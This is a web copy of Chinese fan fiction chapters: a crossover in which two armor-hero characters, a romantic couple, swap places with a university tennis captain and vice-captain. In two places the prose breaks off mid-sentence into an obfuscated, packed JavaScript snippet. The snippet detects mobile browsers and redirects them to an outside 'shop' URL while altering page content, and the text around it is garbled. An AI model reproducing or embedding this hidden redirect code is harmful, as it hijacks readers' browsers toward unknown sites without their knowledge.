他们都知道,在这片被遗忘的空地上,在这个虚幻的夹缝里,再没有任何力量能让他们重新融入外面的世界。虽然他们还没有真正死去,却又仿佛已经失去了所有“活”的意义。他们从未属于这个世界。西钊爱着它、向往着它,却只能感受到深深的疲惫与无力。而北淼则像是一个无所畏惧的过客,始终对任何事都漠不关心。孤独是他们共同的枷锁。他们就像是荒原上唯一的一对野兽,无数次碰撞、争斗、调侃,彼此磨砺,却永远无法走出这片死寂的废墟。 北淼见西钊久久不回话,勾唇微微一笑,慵懒地轻哼:“怎么?还在想你那‘喜不喜欢这个世界’的哲学话题?” “嗯。”西钊没有否认,总算是走上前坐在北淼身边,嘴角带着淡淡的笑意,仿佛陈年冻土终于有了温度,“我只是在想,这个世界,不喜欢它也罢。” 北淼一听,语气里顿时多了几分意味不明的挑衅:“怎么改变主意了?” “因为……”西钊转头看向他,微微倾身,唇角扬起一丝难以捉摸的弧度,“有个人让我喜欢他。” 西钊歪了歪脑袋,在北淼唇上轻轻印下一吻。 角落中,一只黑色蝴蝶轻盈地在空中起落,翅膀上的亮黄如同暗夜的流星。紧接着,另一只白色蝴蝶悄然而至,羽翼上的折角闪烁着如晨曦的光辉。 它们不期而遇,交错起舞。黑与白在无声中拉开了极致的对比,却又在短暂的瞬间达成了完美的平衡,仿佛诉说着一种注定的默契。两个截然不同的灵魂,注定要在这片宁静中融为一体。 他们是彼此唯一的见证, 他们是彼此唯一的同类。 FIN 30. 当铠甲遇到网球 Summary:一切尘埃落定,北淼与西钊踏上计划中的蜜月旅行。然而,到达目的地之后,一场车祸将他们的命运与另一个世界的二人紧密相连。当铠甲召唤人拿起网球拍,会发生怎样的故事? ———— 北淼醒来的时候发现自己在医院里。他想起失去意识之前还和西钊坐在前往景区酒店的出租车上,但一辆失控的货车在拐角处迎面而来。北淼甚至没来得及召唤铠甲,只是本能地护住旁边的西钊,一切便陷入黑暗之中。 西钊。 北淼从病床上惊坐起,即刻翻身下床。他还穿着那天的行装:白色休闲装打底,黑色皮夹克外套、休闲裤和皮鞋。也许是铠甲召唤人的体质,北淼没有感觉到任何不适,和平常无异。但这不代表西钊也是如此,想到这里,北淼急匆匆地拉开门打算找人询问西钊的去向。 北淼的手刚碰到门把,门就从另一边推开。幸好北淼反应快,后撤一步没让门角撞到自己的脑袋。 “队长,你醒了?!” 什么队长?北淼微微皱眉,迅速打量面前这个看起来比自己小一些的毛头小子。大学生?还穿着标志性的蓝白条校服,上面写着——北淼眯了眯眼睛——“青春学院”。很好,看来他大概又双叒叕来到了某个陌生的世界,这回,他连“黑犀侠”都不是了。正好证实为什么他刚刚下床拿出召唤器时它就像个不能发声的儿童玩具。 对于这类“穿越”,北淼不能说经验丰富,但至少有过一次类似的经历,他知道这时候最好的办法不是装“失忆”,也不是明说“我不是这个世界的人”让别人觉得你是神经病,而是——收集情报。他更愿意一切在他的掌控之中。 “嗯。”在不清楚这个世界的自己是谁、性格如何、有怎样的行事方式之前,北淼尽可能使用一些“每个人都会用”的措辞,试图套话,“让你们担心了。其他人怎么样?” 面前的青年表情从松了口气到焦急再到担忧,颜艺不算夸张,但情感很到位:“医生说你和大石一点事都没有,但是鞠万伤得不轻,他被车压到腿,还有一些扭伤,决赛肯定不能上了!这下双打该怎么办啊……” 大石、鞠万、车、决赛、双打。北淼精准定位到了青年这几句话的关键词。看来,这次事故也是一场车祸,其中和他同行的是“大石”和“鞠万”,而他们似乎是某个运动项目校队队伍的队员,且鞠万一定是“双打”选手。那么只剩下大石以及面前这个家伙了。北淼在心里给他们俩画了个问号。 “他们在哪,我去看看。”北淼沉了声线,琢磨一个“队长”应该用什么语气说话。都队长了,总该稳重一些吧。北淼一边思考,一边被青年领着走向不远处的病房。 “诶,对了队长,你的眼镜呢?”与北淼并肩的青年转头,随口问了句。 眼镜?这个世界的他视力不好吗?惨了,他哪儿找现成的眼镜去。不过,临场发挥——特别是需要撒谎的时候——是他的强项之一。 呃,这好像不是值得骄傲的一件事。 “应该落在事故现场了。先不管这个,确认他们的情况要紧。” “对对。”青年点点头,没再多问,领北淼来到病房前,也没敲门,直接将门推开,“大石醒得早,这会儿应该……” “大石我跟你说我真的能上!你就让我上吧!!没有我你怎么打双打?青学还有谁比我们配合得更好?没有了吧?没有了!你一定要在教练还有真智面前好好帮我说几句啊大石!!” 一连串的大嗓门输出彻底打断了青年的后话。北淼看到,靠坐在床头、脚上还裹着厚厚纱布的人和“二队”的方中长得一模一样,絮絮叨叨的同时还不断拉扯坐在床边的……西钊。北淼差点就叫出了西钊的名字,但他轻咬下唇忍住了这股冲动。好,现在北淼确定,床上的伤患就是“鞠万”,而西钊这次的躯壳是一个叫“大石”的人。另外,鞠万还提到了一个名字:真智。看来他要了解的东西还有很多。 西钊注意到北淼和另一个人进门,连忙拍拍鞠万的肩膀,试图停止他的喋喋不休。鞠万似乎很听“大石”的话,顺着他指的方向就看过去,见到“队长”时还吓了一跳。 “队长、队长!我真的没事!我一定能在决赛之前康复,只要让大石守后场,我们不用澳大利亚阵型也能赢!”鞠万几近恳求、可怜巴巴地望着北淼,让北淼有些不知所措。北淼心想,伤员肯定不能上场,这时候要明确驳回吗? 北淼哪知鞠万的嘴停不住,见他的队长没反应,又把目标转向北淼旁边的人:“陶成武,你也不帮我说两句!” “哎哟,你腿都这样了,就别想着决赛了吧……双打的事,教练和真智会想办法的。”名叫陶成武的青年走过去不轻不重在鞠万脑袋上拍了一巴掌。 鞠万和陶成武在一边闹成一团,旁边的西钊则和门口的北淼对了个眼神。他们默契地微微点头,西钊转头对鞠万二人温和笑了笑:“鞠万,别急,你现在还下不了床。陶成武,你先帮着照顾照顾,我和队长说一下比赛的事情。” “哦,好。”陶成武老老实实点头答应下来,回身又是一巴掌拍掉鞠万对“大石”恋恋不忘的“尔康手”。 走出病房,西钊歪歪脑袋,无言地带北淼走进门上挂着“闲人免进”的杂物间。直到西钊锁上门,确保走廊也暂时没有别人经过的声音,他才放松下来,长舒一口气。他看向一旁环抱双臂的北淼,无奈一笑,开门见山地问:“……我都快习惯这种突然‘变成别人’的生活了。你那有什么情报?” 北淼摸着下巴将他自醒来后了解到的一切告诉西钊:“不过,我还不知道‘我’叫什么,每个人都在叫我‘队长’。” “那不正好满足你当领队的执念吗?”西钊笑着调侃,也没理会心虚的北淼不自在地目移,继续说道,“你叫‘钟国光’,钟表的钟,国家的国,光明的光。我是‘石毅’,石头的石,坚毅的毅,他们总是叫我‘大石’。你是青春学院网球队的队长,我是副队长。 “我和鞠万是球队中的双打选手,一般在双打一的位置,这可能是赛场中的上场顺序。你……或者说,钟国光,因为手上有伤,好像刚从国外治疗回来。这次是因为球队进入决赛,他们策划了一次合宿度假,我还不知道具体发生了什么,只知道我们在度假结束的那天早上出的事,也就是今天。而现在是……下午两点。” 听完西钊的描述,北淼眯眼沉思片刻,他皱了皱眉,看向西钊:“你怎么知道得这么清楚?” 就好像看透了北淼的担忧,西钊轻声笑了笑:“别担心,他们还蒙在鼓里。名字只要看床尾的挂牌就能知道,鞠万床边放着网球包,能猜到他们是网球运动员。其他是我从他们嘴里套出来的,这对我来说不难。不过,肯定还有很多细节我们不了解……你会打网球吗?” 北淼点点头,随即又摇摇头:“会。但我没有接受过系统性的训练,顶多算个业余的。你呢?” “没接触过,但我学得很快。你知道,从接触篮球到和坤中打得不相上下,也只用了我两天。”西钊靠在杂物架子上抱着双臂,浅浅的酒窝藏不住语气里的洋洋得意,“说不定,等他们在学校训练的时候,你还没熟悉网球拍怎么拿,我就已经打败你了。” “哼。话别说太早。先摸透他们,静观其变。之后,我们再说比赛、还有……怎么回去的事。”北淼低下身,捏着西钊的下巴,歪过脑袋闭眼给了他一个吻,“在搞清楚‘钟国光’和‘石毅’的关系之前,把戒指藏好,谨慎行事。” 西钊与北淼额头相抵,蹭了蹭他的鼻尖,有些留念方才唇上的触感,但最终只是低声说:“好,知道了。” 鞠万被迫留在医院,北淼、西钊和陶成武打车先后回到学校里。他们一边闲聊,一边非常自然地跟随陶成武的步子进入“青学网球队休息室”,一进门,原本坐着擦汗站着收拾的人都停下手里的事情,除了看上去最小的那个,都齐刷刷挤过来。北淼和西钊一眼晃过去,看到了两个熟悉的面孔。 “队长、大石,你们怎么样?鞠万呢?”和“二队”的泽西有着同一张脸的青年率先问道。 “哎呀,队长和大石没事儿。”陶成武甩甩手,哀叹着在休息室中央的椅子上坐下来,“但鞠万决赛肯定上不了。” “小龙有伤没办法上场。陶成武和海棠已经定下双打二,我和龙马也商量好了,我单打三,龙马单打一,周助单打二。‘黄金双打’缺席的话,我们就没法凑出双打一了。”戴眼镜的青年快速翻阅着手中的笔记,推了推镜框语气里满是无奈。 和“二队”的殿南同脸、戴着绿色头巾的高个子看起来很不满,一副快把后牙都咬碎的样子一屁股坐在陶成武背后:“那现在怎么办?马上就要决赛了,难道我们就要因为‘人手不够’弃权?开什么玩笑!” “行了,你急有个屁用!难道你觉得看我俩丢人不够,还想‘霸王硬上弓’然后在场上让别人看他们笑话是吗?”陶成武转脸对着这个叫“海棠”的青年就是一顿怼。 “陶成武!你找打是不是!” 眼看两个人就要打起来,队员们三三两两赶紧把他们拉开。 一直没什么动静的北淼和西钊仿佛像两个局外人,早就把步子挪到更衣柜的一侧,视线快速扫过上面的队员名,并开始一一对应: 龙马,在更衣柜前看戏的矮个子青年; 陈海棠,戴着头巾的“殿南”; 周助,长头发的“泽西”; 陶成武,和陈海棠不对付的老实人; 鞠万,和石毅组成双打的“方中”。 最后,就剩何春龙和钱真智。鉴于戴眼镜的人提及“小龙”,说明他是钱真智,而那个把短袖穿成背心、积极拉架的人就是何春龙。 北淼和西钊又一次四目相对,默契地点点头。西钊看着乱成一团的队员,给北淼使了一个眼色,扬扬下巴,仿佛在说:你是队长,你管管。 你还是副队长呢,你怎么不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334658|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管。把埋怨咽下肚,认栽的北淼做了个深呼吸,轻咳一声,拿出他曾经在铠甲勇士队伍里做领袖的气势:“都给我住手!现在是窝里斗的时候吗?决赛在即,难道不应该先想想怎么补上空缺、积极训练吗?到时候怎么在赛场上拿出最好的状态?!” 顿时,休息室一片寂静,连西钊也被北淼的气场惊了一下。除了西钊和龙马,大家都尴尬地移开目光,没人敢接话,也没人敢和他们的“队长”对视。 惨了,是不是演得太过了。冷静下来的北淼也跟着尴尬起来。在这种压抑的氛围里连他都有些喘不上气。他往西钊的方向看去,发现那个家伙还像个没事人一样无辜地看着他。这个混蛋,冷场也不帮忙搭腔。北淼瞪了西钊一眼,可劲使眼色,急得牙痒痒,脸上写满了:还在看戏?你倒是说句话啊! 西钊低下头抬起手,手背贴着口鼻遮住嘴角的笑意。他其实不擅长演戏、也不擅长说谎。好在“大石”这个人和他自己的性格好像没有太多违和感——除了“青学之母”的部分,他从鞠万那里听到的时候甚至有些怀疑“大石”的真实性别。虽然对自己的“演技”没有那么自信,但毕竟陷入麻烦的人是北淼,西钊最终还是决定缓和一下气氛。 “好了好了,大家都别吵了。先去训练吧,我和队长去一趟图书馆,看看有什么资料。”西钊凑过去拍拍大家的肩膀,依旧是他熟练的平和语调。 听了“大石”的话,大家也都平复心情,各自拿上网球包先后离开休息室。龙马是最后走的,走之前还回头看了“钟国光”一眼,神色复杂。在北淼能读懂之前,他就转身快步离开了。休息室里唯一留下的是钱真智。 西钊一句“不过去吗”还没出口,钱真智就严肃了表情,对北淼说:“队长,我需要得到你目前的各项数据。” “我?”怎么突然就提到我了?之前说“钟国光”手部有伤,刚从国外回来,按道理应该不需要上场才对,钱真智提到的上场名单也没有他。北淼故作镇定地微微皱眉,有些困惑,又有些不安。 “对。”钱真智点点头,推了推镜框,打开手中的笔记本,“鞠万是没有希望了。如果要凑齐人数,只有小龙。但小龙的伤势不够稳定,球员的不稳定会导致比赛的不稳定。你也是刚刚完成第一阶段的治疗,虽然你说过基本的训练完全没有问题,但……我不想让你因小失大。如果给我一组你目前状态的数据,我就能分析出谁补鞠万的位置更合适。” 北淼瞥见钱真智本子上密密麻麻的数字和图画,呼吸都停了一拍。要他的数据?什么意思?让他打网球?虽然他也不是不能打,但还不是时候。北淼笑了笑,尽可能让自己听起来不那么心虚:“我知道了。你把这个计划告诉教练,先听听TA的意见,我们晚点再谈。” “好,晚上我们在宿舍说。另外,国光,看你不戴眼镜还真是不习惯。” “哈哈……我在国外做了手术,现在不戴眼镜也不影响。” “原来如此。这样一来,视野范围会比之前更好,对你以后的比赛也更有利。那我先过去了,晚上见。” 钱真智说完,也收好笔记本准备离开。但他除了网球包,还拿起几瓶……不明绿色液体。直觉告诉北淼和西钊,那个绝对不是什么好东西,走出休息室的钱真智颇有一种炼金术师准备出门行医的既视感。两人不自觉打了个冷颤,默默祈祷那些东西不是给自己准备的。 西钊走到北淼身边,看向关闭的休息室大门:“缓兵之计。我以为你会自告奋勇和我组队呢。” “你?我还等着在台下看我们副队长的英姿呢。毕竟是‘黄金双打’啊。”北淼没好气地说,俯身轻咬西钊的耳廓,“对吧,‘大石’?” 西钊耳朵一热,被吓得耸起肩膀,迅速和北淼拉开距离,捂着耳朵头也不回地往门口走:“论英姿,我哪里比得过你啊,‘钟国光’。” 北淼也不着急,双手插着裤袋提高音量:“喂!西钊,这里是学校,我知道你没上过学,但好歹过来把校服换上。不然,这里可没有比我们两个更引人注目的家伙了。” 西钊停下脚步,重重地叹口气,犹豫片刻还是转回身来到“石毅”的更衣柜前。北淼跟过来,再次凑到西钊旁边,探头道:“知道怎么穿吗,要不要我帮你换?” 西钊闭上眼,抿唇咬了咬牙,双手握住更衣柜的把手,突然用力向外拉开。只听一声沉闷的“咚”,木质柜门结结实实地与北淼的额头来了个亲密接触,以西钊的力道,直接把北淼磕得连连后退,直至撞上其他人的更衣柜。 “嘶……你就这么对你的男朋友?”北淼表情狰狞,吃痛地捂着发红的前额不停揉搓,语气里满是委屈。 “嗯?男朋友?”西钊将队服挂在臂弯,关上柜门,给了北淼一个他的招牌微笑,“你在说什么,‘队长’?我好像没听明白呢。” “……” 北淼差点忘了,西钊是个可柔可刚、该生气的时候还是会生气的主。 TBC 31. 当网球遇上铠甲 石毅在医院病床上惊醒,满头冷汗。他梦到自己和队长组成双打,在华东大赛的决赛上和立海大对决,他们一直输、一直输,最终以6:0惨败。赛后,钟国光对他说:他是个不称职的代理队长和队员。虽然石毅知道国光不会这么说话,但回忆起梦里的对话和比赛,心里还是闷闷的。 ——等等,比赛!!! 石毅这才想起他和国光、鞠万在度假的最后一天打算一起去给队里买点补给品。结果他们打车回校路上出了车祸。 那国光和鞠万怎么样了?!需不需要他帮忙?想到这里,石毅几乎是“垂死病中惊坐起”,猛地从床上坐起来,一眼就看到端坐在床边椅子上、手里拿着一沓资料聚精会神翻看的钟国光。石毅还没来得及开口,钟国光也注意到他醒了,连忙放下手里的纸张,起身坐上床沿。 “大石,你怎么样?医生说各项指标都正常,也没有内外伤的痕迹,但我还是想亲自确认一下。” “我没事。”石毅摇了摇头。他确实没事,没有车辆撞击后的疼痛、身上的校服也没有任何破损,甚至连一点灰尘都没有。对于他自己的情况,石毅总是一笔带过,随即就把话头指向钟国光,“你呢,队长?有伤到手吗?鞠万呢?严不严重?我去看看他。” 石毅刚下床,步子还没迈出去就被钟国光拽住手臂。石毅回头不解地望向他的队长,但钟国光看着他欲言又止,半天没说出一句话。他知道石毅身为副队长——以及代理队长——除了协助管理队伍,还要负责后勤和医务,因此似乎每个人都默认他们的“大石”关心照顾大家是应该的。只是、偶尔,钟国光看着处处宠着照顾着鞠万的石毅,心里总有一种“你也可以是被照顾的那一方”的感觉。 钟国光深深地注视着石毅眼里要溢出来的担忧和焦急,最后还是松了手,移开视线,斟酌一番措辞才开口道:“我没事。但这里不是我们熟悉的世界,大石。鞠万不在这里。” “这是……什么意思?” 像是要缓和石毅的困惑与不安,钟国光直接将椅子上放着的、他在石毅昏迷期间四处收集的资料递了过去,在石毅翻看的同时讲解给他听:“我们的确在S市没错,年份、日期也相同,其他基本设施、标志性建筑都没有太大差异。但这里并没有‘青春学院’,也没有举办过‘全国大学生网球联赛’,甚至其他我们对决过的大学也并不存在。我在警方送来的行李和钱包里找到了两张证件和机票,你看一下。” 石毅接过身份证和机票,惊讶地发现证件上叫“张北淼”的人和钟国光长得一模一样,而“秦西钊”也和他石毅有着相同的脸。机票上是“他们”的名字,从D市飞往S市,就在昨天刚落地。石毅一时震惊得说不出话,这类科幻故事或许只会在海棠或者鞠万的游戏机里才会出现吧?怎么会发生在他们两个普通人身上?再说、如果真是如此,那…… “那我们和立海大的决赛怎么办?得想办法快点回去确认鞠万的情况。要是队里没有你,那可就乱套了。”听闻石毅比刚刚更急迫的语气,钟国光莫名有些不悦。石毅还以为他们的队长也和他一样担心队里的状况,“或许我们该从现有的资料上下手。队长,还有什么其他发现吗?” “嗯。”钟国光淡淡应了一声,起身走到病房的角落里,蹲下来打开行李箱,“他们应该是普通情侣,原本定居在D市,后来到S市旅行。‘张北淼’的钱包里有他们的合影。” “蜜月旅行吗?”石毅不自觉地低声轻笑。钟国光回头望去,发现石毅好像脸红了,也不知是不是他的某种滤镜导致的错觉。 钟国光摸出口袋里‘张北淼’的钱包,一打开就能看到左边透明开窗的部分塞着一张两个人勾肩搭背的合影照,他们抬起左手、手背对着镜头,展示无名指上再显眼不过的戒指:极简的黑与白、朴素中又带着高端优雅。他又回头看了石毅一眼,他们的副队长依旧饶有兴致地把资料和证件翻来覆去地看,并未注意到他的视线。钟国光心想,哪怕注意到了——啊,他们的视线对上了——石毅也只是微微一愣,又困惑地眨眨眼,问道:“队长,怎么了?” 是啊,也只是这样而已,毫无自觉。钟国光叹口气,抬手稳了稳镜框,一边起身一边缓缓摇头:“没什么。我在想,我们可以回到D市,在一个对‘他们’来说更熟悉的地方,或许能有更多发现。” “好。”石毅将手中的资料整理好,放进另一个行李箱中,拿上挂在床尾的病历板以及两人的身份证就往门口走,“我去办理出院手续,顺便收拾行李。打车到机场的事就交给队长你了,这样可以吗,队长?” 钟国光上前拍拍石毅的肩膀,有几分无奈、也有几分欣慰,仿佛想要为他卸下自己出国之前让他扛在肩上的沉重负担:“你不用每件事都征求我的意见,你也是大家的队长。要让别人信任你的决策,首先就要对自己的决策有信心。” “……嗯,我知道了。”石毅低下头,没再多说什么,转身便离开了病房。 是错觉吗?钟国光皱起眉。他刚刚好像看到石毅的眼神黯淡了些许。他刚刚是不是说错什么了?还是、在他离开的这段时间,队里发生过生什么吗? 钟国光忽然意识到,他走得匆忙、回得匆忙,回来时正好又赶上青学和六角的比赛,赛后又马上加入到他们的度假之旅当中,似乎没问过石毅:在这之前,青学网球队过得如何?不是指他在众人面前问起时大家打哈哈过去的场面话、也不是他回来时看到的青学获得的荣誉,而是从作为代理队长的石毅口中说出的真心话。 他想起,当时和钱真智说“这次你和大石干得真不错”时,钱真智拍拍他肩膀说“和你比还差远了”。后来石毅还特地找他和钱真智商量让他重新做回大家的队长,石毅说出“不管是能力还是经验来说都是你更适合”时的那副表情他现在还记得。联想到刚刚石毅的低落模样,钟国光现在才反应过来,他夸奖石毅“我不在的那段时间,你不是把队伍带得挺好的吗”的时候,石毅脸上一点好情绪都没有,视线漂移,像是有什么难言之隐。 要不是听钱真智说起,他都不知道后来石毅单独去找教练谈了一个下午,才让教练同意恢复钟国光队长的职位。结果他去问石毅这件事时,石毅又一如既往地一句话轻描淡写带过。他也不好意思再多问。 现在想来,容忍了鞠万三年、因为一场关系到青学荣誉的比赛才有契机爆发出自己情绪的石毅,大概也不会把做代理队长期间承受的压力和其他人分享——他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334659|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没见过石毅和谁这么做过。想要直接了解石毅当下的心境,大概只有他在弹吉他唱歌的时候了。 钟国光走到病房门口,侧身望向在前台又是结账又是咨询、对前台护士点头连连的石毅,耳边回响起他们在去度假酒店的大巴车上,石毅弹唱的那首歌。他没问过歌名,但他一直记得歌词: 你是我的肩膀, 有多重都会拼命的扛, 因为面对的方向, 是我们的、我们的梦想, 我是你的肩膀, 能将整个世界都背上, 在你身后的远方, 看你自由、自由的飞翔,飞翔。 这首歌还真适合他。钟国光看着那个不管在哪里都为所有人忙里忙外、不知疲劳、忍辱负重的家伙,微微扬起嘴角。如果石毅现在回头,或许能看到钟国光眼里掩盖不住的温柔。 好消息是,石毅确实回头了; 坏消息是,他看的不是钟国光的方向。 “西钊?你怎么在这里?” 石毅刚用“秦西钊”钱包里的现金结算好费用、办好手续,回转身的瞬间就差点撞上一个衣着十分前卫时尚的男人。石毅愣愣地看着他,半晌才反应过来这个人在叫“自己”的名字。他不会撒谎。上次帮何春龙跟他爸撒谎都让他内疚了很久。面对男人紧接着的“你怎么穿着大学生的校服?北淼呢?是出了什么事吗?”石毅“这个那个我你他”支吾半天也没说出一句话。 就在对面的男人皱着眉歪头疑惑时,一个身影出现,挡在他和那个男人之间:熟悉的、无论何时都能让人感到安心的气场和味道——钟国光。 钟国光礼貌地微笑,抬臂作握手邀请:“你好。很抱歉,我知道这听上去很难让人相信,但我们不是你认识的‘北淼’和‘西钊’。我叫钟国光,他是石毅。既然你认识和我们有着同样面貌的人,我想,我们或许需要你的帮助。” 对面的时尚达人“噢”了一声,出乎意料地接受了这个看上去莫名其妙的设定,一副恍然大悟的样子与钟国光握手:“我是小嵩,很高兴认识你们。其实我也觉得奇怪,你们看起来就没他俩岁数大。咳,没别的意思。不过现在这个情况,还是找美真会更好解决。稍等,我打个电话。” 小嵩说完,也没避着钟国光和石毅,当着他们的面就按下手机上的某个快捷拨号,等待了一会儿才接通:“喂,美真?是我,小嵩。你和东杉还在指挥部检修卫星吗?好,我知道了。不不,没什么大事,只是有两个人、我想让你见见。” 指挥部?卫星?这个小嵩和美真,还有“张北淼”和“秦西钊”,到底是何方神圣? 钟国光和石毅面面相觑,一头雾水。 TBC ※一些OOC剧外: 小嵩:为什么我一从报社辞职,爆炸性新闻就一个接一个的来?? 美真:噢↗↘原来你想报道《铠甲召唤人与大学网球队角色互换》?然后把我们召唤人本尊暴露在摄像头之下?(和善的微笑) 小嵩:呃(搔脸,目移)只拍他们穿铠甲打网球也行,是吧……? 美真:我可以先穿拳套打你 : ) 小嵩:女侠饶命。(即刻) 32. 从零开始的网球生涯 青春学院,图书馆内。 北淼和西钊挨坐在一起,一人戴着一边耳机,翻阅电脑上的各种网球视频。 他们认为从头开始看“网球教学”太浪费时间,不如直接看往届青春学院网球比赛的回放来得直接。他们除了要找到钟国光和石毅的打球方式,更重要的是找到更适自己的球风来应对目前的状况。北淼的自尊心和好胜心可不允许他看几遍还学不来个大概,而西钊则认为,要是他看完也学不会,那他在影界就白挨了十年的高压电和皮鞭子。 抱着相似而不同的想法,两个人在图书馆闭馆之前几乎把青学网球队员出场过的比赛精挑细选地完整看了一遍,同时他们也在网上收集了一些外界关于队员们的评价和报道。接着,两人又赶在文印室关门的最后一刻将那些资料打印好,这才结束今天的研究。 此时天色已晚,根据对学生流向和建筑外部的观察,他们一边往宿舍楼的方向走,一边讨论着今天看过的视频和手里的资料。 “首先,龙马擅长的是‘外旋发球’和‘二刀流’。在比赛里,钟国光也曾使用过两边手进行接发球。我可以练,但效果肯定没龙马和钟国光那么好,反倒是这个削球……叫什么?好像在你手上那一页。” “他们叫‘零式削球’。”西钊把纸张翻了个面,回复道。 “噢。零式削球。”北淼和西钊路过网球场,默契地走进去、默契地在场边椅子上坐下,嘴上还在继续说着,“我有信心能把它完美复刻。还有,在比赛中,他能非常极限把球打到场角,以此在发球局得分。这个比较简单,我流星枪就没脱靶过。” 西钊哭笑不得,视线从纸上挪到北淼那骄傲的侧脸:“网球拍又不是流星枪,难道你还能用‘狂瀑扎’把网球捅过去不成?” “别说得你好像能把拍子当成‘震雷斧’劈过去一样。” “说不定还真可以。” 北淼转过头去,看到西钊把资料往后翻了几张纸,正好是“石毅”相关的那一页,只听西钊念念有词道:“石毅擅长一种回球战术,刚刚你应该也在双打比赛里看到了,听他们说叫‘月亮截击’。球拍拖地、挑高式的上旋球,对对方的进攻进行拦截,好几次都是往场地死角反击的。它的起手式和我的‘震雷削’能融会贯通,如果结合起来,也许是不错的新招式。” 北淼不屑地轻哼一声,把手里的资料换到下一页,懒洋洋地翻看,漫不经心地说:“我看,你那‘月亮震雷削’还没打出去,网球已经碎在半空中了。” 雪獒的攻击力是五副铠甲里最强的,毋庸置疑。他们几个召唤人各自的身体素质也多少受铠甲属性的影响。觉得北淼说得有那么一点道理的西钊一时无言以对,只好又把话题转回正儿八经的网球技巧上来:“那你呢?我记得钟国光最具有标志性的招数是那个‘领域’。以自身为中心,周围产生一圈特殊气流,让球回到他挥拍范围、使他每次都能打出有利接发球的技巧。有个教练评价说,需要有非常扎实的基本功和控球技术才能做到这种‘无我’境界。你觉得,你可以吗?” 北淼回忆起在图书馆中看到的比赛回放,又低头简单略过几眼资料上关于“领域”的评价和数据,忽然扬起嘴角笑了笑,转头与西钊对视:“当然。而且不仅是我,你也可以。” “我?”西钊眉头微皱,疑惑地扯扯嘴角,一脸难以置信,又带着些许无奈,“这怎么可能?虽然我确实有自信能够掌握部分石毅的击球技巧,但你也不必用不切实际的话来嘲讽我吧?” “你还不明白吗?对我们‘五行铠甲召唤人’来说,最难的反而是最简单的。”北淼正准备继续解释,忽然注意到椅子下有一个沾满灰尘的网球。大概是捡球收拾场地时被遗漏了吧。北淼捡起网球,也不在意上面有些脏,在西钊面前随意抛接,“你觉得最难的‘无我’境界,在训练室跟那个‘老爷子’较量的时候就已经达到了。如果我们不能和五行同调、和天地共鸣,你觉得铠甲会认主?我们五个能召唤出帝皇侠?比起这个,我们还是担心担心怎么拿好拍子,练习基本功吧。” “……‘老爷子’?”西钊的重点好像不在北淼意料之内。 “那你在虚拟战斗室系统里看到的是什么?”北淼把网球丢到一边,皱眉不解道。 西钊看上去更加困惑,语气中甚至夹杂着不确定:“一副金色铠甲。应该是帝皇侠?” “?” 不是,为啥?这也能区别对待的吗? 北淼毫不掩饰地把不满写在脸上。但他丝毫不知,帝皇侠出现在战斗系统中是因为金影石的回归。五行归位,老者才蜕变为帝皇侠。但由于那之后他一直没有进入训练室,因此也就完全不知道这回事。毕竟,从来没人提起过他们训练的时候都在和谁打架。 西钊见北淼有些生气,但又不知道原因,总不能是因为没看见帝皇侠……?应该不至于,北淼没有那么幼稚吧。那是怎么了?他要安慰吗?不知道理由的话该怎么哄?没有任何亲密关系经验的西钊知道以前哄冰儿的法子不能拿来哄北淼,于是他想,如果做北淼喜欢的事来让他消气,会不会有效果? 如此想着,西钊将资料放到身旁的椅子上,侧过身按住北淼的肩膀往自己的方向压,在北淼反应过来之前吻住他的嘴唇,轻柔缓慢地磨蹭,好一会儿才松口。他低喘着,并未马上撤开距离,而是一如往常地与北淼鼻尖相蹭、额头相抵,轻声道:“刚才是我不对,别生气了。我们继续,好吗?” 西钊正要退开,只见北淼原本震惊的眼神一秒变得锐利,拽过西钊拉到顶的校服衣领,狠狠堵住西钊半张的嘴,对比方才的柔和,这个吻更加粗暴、也更为激烈,就没有哪次北淼占主导的亲吻是没用上舌头的。随着掠夺彼此空气的亲吻越发深入,北淼随手将资料丢在椅子上,整个人侧身压过去,直接扣着西钊的手将他压倒在长椅上。西钊也不知自己是憋得太久还是觉得羞耻,或是意识到这是随时会有人经过的公共场合,他在北淼叼着拉链拉下一截、将吻落在他颈侧时开始本能地挣扎,想要逃开北淼极具侵占性的试探。 “北淼……停下,这里是学校……”西钊忍着没有一脚踹开北淼,只是试图平复紊乱的呼吸,用手象征性地推搡身上的人。 北淼闻言,像是触发了某个关键词。他的动作戛然而止,报复性地在能被衣领遮住的地方轻咬一口后,便直起身坐回原位、整理衣服,仿佛方才无事发生。不同的是,他的脸色看起来比刚刚更差了:“既然知道这里是学校,就不要随便挑逗我。我没你想的那么矜持。” 西钊花了一番功夫才重回椅子上坐稳,气还没喘上来,就立马把夹克的衣领拉到最高。他看着屁股往椅子另一边挪了半步、翘起腿捏着眉心继续低头一声不响看资料的北淼,心里的困惑不减反增。这是……更生气了?好吧,至少现在能继续讨论网球的事情了。西钊一边暗自感叹“人与人之间的关系真是复杂难懂”,一边拿起那沓资料接着上次的地方看。 他们沉默了一段时间,直到北淼把其中一页纸递西钊面前,淡淡问道:“你觉得,我们两个的接发球,应该注重速度还是力量?” 西钊歪歪脑袋,皱眉思考片刻:“速度。” “为什么?”北淼对这个答案有些意外,“我看这个何春龙的‘波动球’和陶成武的‘垂直扣杀’,在力量上就非常有优势,可以轻松破防,对我们而言也不需要非常复杂的技巧。” 